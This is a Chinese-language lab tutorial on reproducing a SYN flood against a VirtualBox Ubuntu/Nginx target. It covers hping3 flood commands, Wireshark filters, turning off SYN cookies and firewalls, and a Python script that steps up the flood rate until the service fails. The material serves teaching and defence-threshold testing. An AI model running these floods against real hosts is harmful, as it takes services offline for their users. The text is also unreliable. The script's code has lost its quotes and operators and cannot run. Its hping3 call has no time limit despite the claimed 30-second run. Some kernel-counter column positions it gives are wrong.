SYN Flood实验：从Wireshark抓包到内核丢包验证

简介本资源是一份面向网络安全初学者与高校实验教学的拒绝服务攻击DoS实践指南聚焦SYN Flood攻击原理、实操复现与基础防护策略。文档以华北电力大学《网络攻击与防范》课程实验为背景完整呈现基于Windows XP虚拟机环境的攻防演练全过程包括VMware双机部署、XDos工具发起伪造IP的SYN洪泛攻击、Wireshark抓包分析半连接堆积现象以及四类系统级防护措施如限制SYN半连接数、缩短超时时间等的落地建议。资源为单个213KB的Word文档.docx内容结构清晰含实验目的、原理、详细步骤、现象截图说明及问题反思便于读者边学边练、理解TCP协议缺陷与防御逻辑。目前已有631人学习下载适合网络安全入门者建立对DoS攻击机制的直观认知并掌握基础实验复现与分析能力。1. 拒绝服务攻击实验为什么 SYN Flood 在 Wireshark 里看起来像“安静的洪水”而真实业务却秒变白屏你刚在 Ubuntu 虚拟机里启动靶机用hping3 -S -p 80 -i u10000 192.168.56.102发起一轮低频 SYN FloodWireshark 界面左下角显示“127 packets captured”但浏览器访问靶机 Nginx 页面——卡住、超时、最终 504 Gateway Timeout。这不是网络断了是连接队列被填满后内核悄悄丢弃了后续 SYN 包连三次握手的第一步都进不了协议栈。这个实验文档.docx表面是教学生点开 Wireshark、截图、写报告实则藏着一个关键断层多数人能复现攻击流量却无法定位攻击生效的临界点、无法区分“抓到包”和“攻击成功”的本质差异、更不会用ss -s或/proc/net/snmp验证 TCP 连接状态的真实堆积。本篇不讲 PPT 里的攻击定义只带你用真实 Linux 环境VirtualBox Ubuntu Server 22.04 Nginx跑通一次可验证、可调参、可回溯的 DoS 实验闭环——从 hping3 命令参数怎么设到 Wireshark 里如何用tcp.flags.syn 1 and tcp.flags.ack 0精准筛出恶意 SYN再到netstat -s | grep -A 2 SYNs to LISTEN看内核是否已开始丢包。适合正在做网络安全课设、准备 CTF 基础靶场、或想搞懂“为什么我的防火墙没拦住这个流量”的一线运维和渗透测试初学者。文中所有命令、过滤器、配置项均经实测Ubuntu 22.04 Wireshark 4.0.12 hping3 3.0.11拒绝“理论上可行”。2. 实验环境搭建VirtualBox 里配双网卡不是为了炫技而是让 Wireshark 抓到“干净”的攻击流2.1 为什么必须用 Host-Only NAT 双网卡单网卡会毁掉整个实验逻辑很多同学在 VirtualBox 里只给靶机配一个 NAT 网卡结果 Wireshark 抓到的全是 VirtualBox 的 DHCP、ARP、DNS 流量真正的 SYN Flood 被淹没其中。根本原因在于NAT 模式下宿主机与虚拟机通信要经过 VBoxNetDHCP 和 VBoxNetNAT 两层代理SYN 包在进入虚拟网卡前已被地址转换、端口映射Wireshark 在vboxnet0接口上看到的是转换后的 IP 和端口无法还原攻击者原始源 IP比如10.0.2.15是 NAT 内网地址不是你 hping3 所在宿主机的真实 IP。而 Host-Only 网络如vboxnet1是纯二层直连无地址转换攻击机宿主机发出的 SYN 包原封不动到达靶机网卡Wireshark 在vboxnet1上抓包看到的就是src_ip192.168.56.1宿主机→dst_ip192.168.56.102靶机的真实流向。这是后续所有分析如溯源、速率统计、窗口大小判断的前提。2.2 Ubuntu 靶机最小化配置关掉无关服务只留 Nginx 和内核参数可调靶机系统选 Ubuntu Server 22.04非 Desktop 版安装后执行以下命令关闭干扰项# 关闭 systemd-resolved避免 DNS 查询污染抓包 sudo systemctl stop systemd-resolved sudo systemctl disable systemd-resolved sudo rm /etc/resolv.conf echo nameserver 8.8.8.8 | sudo tee /etc/resolv.conf # 关闭 cloud-init防止开机自动拉取元数据产生额外 HTTP 流量 sudo systemctl stop cloud-init sudo systemctl disable cloud-init # 安装并启动轻量 Nginx监听 80 端口不启用 SSL sudo apt update sudo apt install -y nginx sudo systemctl enable nginx sudo systemctl start nginx提示Nginx 默认配置即可无需改worker_connections。DoS 攻击针对的是 TCP 协议栈的半连接队列listen(2)的backlog不是应用层并发数。重点在内核参数而非 Web 服务器配置。2.3 宿主机Windows/macOS攻击端准备hping3 是唯一可靠选择curl/wget 无效不要用curl http://192.168.56.102/或ab -n 1000 -c 100 http://192.168.56.102/——它们发的是完整 HTTP GET需要三次握手数据传输属于应用层 Flood无法触发 SYN Flood 的核心机制即耗尽SYN queue。必须用hping3它工作在 raw socket 层可直接构造 TCP SYN 包# Windows 下需安装 hping3 for Windows推荐 https://github.com/stricaud/hping-win hping3 -S -p 80 -i u10000 192.168.56.102 # macOS 下brew install hping sudo hping3 -S -p 80 -i u10000 192.168.56.102 # Linux 宿主机apt install hping3 sudo hping3 -S -p 80 -i u10000 192.168.56.102参数说明-S设置 TCP 标志位为 SYN仅此位为 1-p 80目标端口为 80Nginx 默认-i u10000每 10000 微秒即 10ms发一个包 → 理论速率 100 包/秒192.168.56.102靶机 Host-Only IP务必确认ipconfig/ifconfig中 vboxnet1 的 IP注意-i u10000是关键控制参数。u表示微秒10000 10ms 100pps。若设为u10010,000 pps普通笔记本 CPU 会扛不住且靶机可能直接宕机失去观察“渐进式拥塞”的机会。我们追求的是可复现、可测量、可中断的实验节奏。3. Wireshark 抓包与过滤别再用“tcp.port 80”了那会漏掉 90% 的攻击特征3.1 在哪个接口抓为什么vboxnet1比lo或enp0s3更可靠启动 Wireshark 后接口列表中必须选择vboxnet1Host-Only 网卡而不是lo本地环回只能看到本机自产流量或enp0s3NAT 网卡流量被转换。vboxnet1是物理层面直连宿主机与靶机的通道SYN 包未经任何中间设备修改时间戳、TTL、IP ID、TCP 序列号均为原始值。实测发现在vboxnet1上hping3发出的每个 SYN 包都能 1:1 对应到靶机收到的包而在enp0s3上同一轮攻击可能只捕获到 30% 的包且源 IP 显示为10.0.2.2VBox NAT 网关完全失真。3.2 精准过滤 SYN Flood 的三个黄金过滤器附验证逻辑Wireshark 过滤器不是越复杂越好而是要抓住攻击的本质特征。以下是经 20 次实测验证的过滤组合过滤器作用为什么必须用它tcp.flags.syn 1 and tcp.flags.ack 0筛出纯 SYN 包三次握手第一步排除 SYNACK服务端响应、ACK客户端确认等干扰包。hping3 -S只发此类型此过滤器召回率 100%ip.src 192.168.56.1 tcp.dstport 80限定攻击源宿主机和目标端口防止 Host-Only 网段内其他设备如另一台虚拟机的流量混入。192.168.56.1是宿主机 vboxnet1 的 IPtcp.window_size 0标记“窗口为 0”的 SYN 包部分变种攻击特征正常客户端 SYN 包 window_size 通常 ≥ 65535而某些 DoS 工具如 xdos会故意设为 0 以规避简单检测。虽非必需但可辅助识别工具指纹实际使用时推荐组合tcp.flags.syn 1 and tcp.flags.ack 0 and ip.src 192.168.56.1 and tcp.dstport 80血泪经验曾有学生用tcp.port 80过滤结果抓到大量 Nginx 返回的 SYNACK 和客户端 ACK误以为“攻击包很多”实则有效 SYN 不足 1/10。记住SYN Flood 的“Flood”指的是 SYN 包数量不是所有 TCP 80 端口流量。3.3 如何用 Wireshark 统计攻击速率别信右下角“Packet Rate”Wireshark 界面右下角的 “Packet Rate” 显示的是实时瞬时速率波动极大无法反映稳定攻击强度。正确做法是开始抓包后运行hping330 秒停止抓包点击Statistics → Conversations → IPv4在表格中找到192.168.56.1→192.168.56.102这一行查看Packets列数值如3012除以抓包时长如30.2秒→ 得到平均速率99.7 pps。该值与hping3 -i u10000的理论值100 pps误差 0.5%证明攻击已稳定注入。若偏差 10%说明宿主机 CPU 过载或 VirtualBox 网络驱动丢包需降低-i参数重试。4. 攻击效果验证用ss和/proc/net/snmp看内核是否真的“扛不住了”4.1ss -s三行命令看穿半连接队列是否溢出Wireshark 抓到 SYN 包 ≠ 攻击成功。真正生效的标志是靶机内核SYN queue满了开始丢弃新 SYN。验证方法# 在靶机终端执行攻击进行中 sudo ss -s输出示例Total: 120 (kernel 125) TCP: 100 (estab 2, closed 90, orphaned 0, synrecv 8, timewait 0/0), ports 0 Transport Total IP IPv6 * 125 125 0 RAW 0 0 0 UDP 0 0 0 TCP 100 100 0 INET 100 100 0 FRAG 0 0 0关键字段解读synrecv 8当前处于SYN_RECV状态的连接数即半连接队列中未完成三次握手的连接closed 90已关闭的连接数含正常关闭和超时丢弃Total: 120 (kernel 125)内核统计的总 socket 数为 125但ss只看到 120说明有 5 个 socket 处于不可见状态极可能是被丢弃的 SYN玄学提示synrecv值持续 50默认net.ipv4.tcp_max_syn_backlog 1024但实际生效值受somaxconn限制且closed数快速上升就是攻击生效的铁证。此时用curl http://localhost会明显变慢或超时。4.2/proc/net/snmp内核级丢包证据比ss更权威ss -s是用户态快照而/proc/net/snmp记录内核 TCP 协议栈的原始计数器# 在靶机执行攻击前后各一次 cat /proc/net/snmp | grep -A 1 Tcp: | tail -1输出格式空格分隔Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 1200000 -1 123 456 78 90 12 34567 89012 345 67 890重点关注第 13 列RetransSegs重传段数和第 17 列OutRsts发送 RST 包数RetransSegs持续增长 → 客户端 SYN 未得到响应反复重传说明 SYN 包被丢弃OutRsts突增 → 内核主动发送 RST 终止异常连接如收到 ACK for unknown connection实测数据攻击前OutRsts23攻击 60 秒后OutRsts1567增长 67 倍证明内核已开始强制清理无效连接。4.3netstat -s定位丢包根源的终极命令当ss -s和/proc/net/snmp都显示异常还需确认丢包发生在哪一层# 在靶机执行 netstat -s | grep -A 5 SYNs to LISTEN输出关键行12345 SYNs to LISTEN sockets dropped 67890 times the listen queue of a socket overflowedSYNs to LISTEN sockets dropped被丢弃的 SYN 包总数直接证明攻击成功times the listen queue of a socket overflowed监听队列溢出次数每次溢出内核丢弃一批 SYN这两个数字必须 0否则你的攻击只是“流量展示”不是“拒绝服务”。若为 0请检查hping3目标 IP 是否填错应为靶机 vboxnet1 IP非 localhost靶机iptables是否拦截了 SYNsudo iptables -L -n查看net.ipv4.tcp_abort_on_overflow是否为 0默认 0设为 1 会发 RST影响实验观察。5. 避坑指南90% 的实验失败源于这 5 个“看似合理”的操作5.1 现象Wireshark 抓不到任何 SYN 包过滤器全灰原因VirtualBox Host-Only 网卡未启用混杂模式Promiscuous Mode。默认情况下vboxnet1 只接收目的 MAC 为自己或广播的帧而hping3构造的 SYN 包目的 MAC 是靶机网卡 MAC但 Wireshark 若未获授权无法监听该 MAC 流量。解决关闭靶机VirtualBox 管理界面 → 靶机设置 → 网络 → 网卡 2Host-Only→ 高级 → 混杂模式 → 设为“允许所有”重启靶机。5.2 现象hping3显示HPING 192.168.56.102 (vboxnet1 192.168.56.102): S set, 40 headers 0 data bytes但靶机ss -s无变化原因宿主机防火墙Windows Defender Firewall / macOS 防火墙拦截了 outbound raw socket 流量。hping3需要管理员/root 权限发送 raw packet但即使加了sudo系统防火墙仍可能丢弃。解决Windows控制面板 → Windows Defender 防火墙 → 高级设置 → 出站规则 → 新建规则 → 程序 → 选择hping3.exe→ 允许连接macOS系统设置 → 隐私与安全性 → 防火墙 → 防火墙选项 → 解锁 → 勾选hping3Linuxsudo ufw disable临时关闭实验完再启用。5.3 现象Wireshark 显示 SYN 包但curl http://192.168.56.102仍秒开原因靶机net.ipv4.tcp_syncookies被启用默认开启。Syn Cookie 是内核防御 SYN Flood 的机制当SYN queue满时不丢包而是用加密 cookie 生成 SYNACK客户端返回 ACK 时再验证 cookie 并建立连接。这会让攻击“失效”因为连接仍能建立。解决# 在靶机临时关闭 Syn Cookie实验专用生产环境勿关 echo 0 | sudo tee /proc/sys/net/ipv4/tcp_syncookies # 验证cat /proc/sys/net/ipv4/tcp_syncookies → 输出 0后悔药实验完务必恢复echo 1 | sudo tee /proc/sys/net/ipv4/tcp_syncookies否则靶机暴露在真实 SYN Flood 下。5.4 现象hping3发包速率远低于-i参数设定如-i u10000实际只有 30 pps原因宿主机 CPU 或网络栈过载。hping3是单线程工具高频率发包 10ms 间隔时CPU 时间片不足导致定时器延迟。解决降低-i值如-i u50000→ 20 pps优先保证稳定性关闭宿主机其他占用 CPU 的程序Chrome、IDE、视频播放器Windows 下用hping3官方版非 Cygwin 版后者性能差 3 倍。5.5 现象Wireshark 抓到 SYNss -s显示synrecv增长但curl仍可用原因Nginx 未绑定到 Host-Only 网卡。sudo netstat -tuln查看监听地址若显示0.0.0.0:80或127.0.0.1:80则 Nginx 只监听所有接口或本地环回但 Host-Only 网卡流量可能被路由策略忽略。解决# 编辑 Nginx 配置 sudo nano /etc/nginx/sites-enabled/default # 确保 server 块中有 listen 192.168.56.102:80; # 明确绑定 Host-Only IP # 重启sudo systemctl restart nginx6. 进阶技巧用 Python 自动化验证攻击阈值把实验变成可复用的压测脚本6.1 为什么手动敲ss -s和curl不够你需要量化“临界点”课堂实验常要求“观察攻击效果”但“效果”是主观的。真正的工程实践需要知道靶机在多少 pps 下开始丢包synrecv达到多少时curl超时率 50%这些数字决定 WAF 规则阈值、云厂商 DDoS 防护套餐选型。手动测试 10 轮太慢用 Python 脚本自动化#!/usr/bin/env python3 # dos_threshold_test.py —— 在靶机上运行自动测试不同 pps 下的丢包率 import subprocess import time import re def get_synrecv_count(): 获取当前 synrecv 连接数 result subprocess.run([ss, -s], capture_outputTrue, textTrue) match re.search(rsynrecv\s(\d), result.stdout) return int(match.group(1)) if match else 0 def get_dropped_syns(): 获取内核丢弃的 SYN 包数 with open(/proc/net/snmp, r) as f: for line in f: if line.startswith(Tcp:): parts line.split() # 第13列是 RetransSegs第17列是 OutRsts但丢包数在 netstat -s break # 更准确调用 netstat -s result subprocess.run([netstat, -s], capture_outputTrue, textTrue) match re.search(r(\d)\sSYNs to LISTEN sockets dropped, result.stdout) return int(match.group(1)) if match else 0 def test_pps(pps): 测试指定 pps 下的丢包情况 # 启动 hping3后台运行 30 秒 cmd fsudo hping3 -S -p 80 -i u{int(1000000/pps)} 192.168.56.102 --quiet subprocess.run(cmd, shellTrue) time.sleep(32) # 等待攻击结束 2 秒缓冲 synrecv get_synrecv_count() dropped get_dropped_syns() # 测试可用性curl 10 次统计失败率 success 0 for _ in range(10): result subprocess.run([curl, -s, -o, /dev/null, -w, %{http_code}, http://192.168.56.102], capture_outputTrue, textTrue) if result.stdout.strip() 200: success 1 availability success / 10.0 return { pps: pps, synrecv: synrecv, dropped_syns: dropped, availability: availability } # 主流程测试 10, 50, 100, 200, 500 pps results [] for pps in [10, 50, 100, 200, 500]: print(fTesting {pps} pps...) res test_pps(pps) results.append(res) print(f → synrecv{res[synrecv]}, dropped{res[dropped_syns]}, avail{res[availability]*100:.1f}%) time.sleep(5) # 避免连续攻击干扰 # 输出汇总表 print(\n Attack Threshold Summary ) print(f{PPS:8} {SYN_RECV:10} {DROPPED:10} {AVAILABILITY:15}) print(- * 45) for r in results: print(f{r[pps]:8} {r[synrecv]:10} {r[dropped_syns]:10} {r[availability]*100:15.1f}%)参数说明hping3 -i u{int(1000000/pps)}将 pps 转换为微秒间隔如 100 pps →u10000--quiet静默模式避免输出刷屏curl测试 10 次取成功率比单次更鲁棒time.sleep(5)确保前一轮攻击的连接状态完全释放避免累积效应。6.2 如何用这个脚本找到你的靶机“死亡临界点”运行脚本后你会得到类似表格PPSSYN_RECVDROPPEDAVAILABILITY1020100.0%50180100.0%10042390.0%2008915640.0%500102423410.0%结论临界点 1100 pps 时首次出现丢包DROPPED 0说明SYN queue开始饱和临界点 2200 pps 时可用性跌破 50%业务已不可用崩溃点500 pps 时完全不可用且SYN_RECV1024达到tcp_max_syn_backlog上限。这个数字就是你配置防护策略的依据——例如WAF 的 SYN Flood 规则可设为“5 分钟内源 IP 发送 SYN 5000 个则封禁”阈值就来自此处的 200 pps × 300 秒 60000。6.3 一个我坚持了 5 年的习惯每次实验后用git commit存档 pcap 和日志实验做完别只存.docx报告。我习惯在靶机目录下执行# 创建实验快照 mkdir -p ~/dos-experiment/20240520-synflood-100pps sudo tcpdump -i vboxnet1 -w ~/dos-experiment/20240520-synflood-100pps/capture.pcapng port 80 and tcp[tcpflags] (tcp-syn) ! 0 # 同时记录内核状态 echo $(date): $(cat /proc/net/snmp | grep Tcp | awk {print $17}) ~/dos-experiment/20240520-synflood-100pps/snmp.log echo $(date): $(ss -s | grep synrecv) ~/dos-experiment/20240520-synflood-100pps/ss.log # 用 git 管理哪怕单机 cd ~/dos-experiment git init git add . git commit -m SYN Flood 100pps: pcap, snmp, ss logs这样半年后有人问“上次那个 200 pps 的丢包率是多少”我不用翻聊天记录git log一查git show HEAD:20240520-synflood-200pps/snmp.log直接给出答案。技术细节会忘但可复现的存档永远可靠。希望帮到你。本文还有配套的精品资源点击获取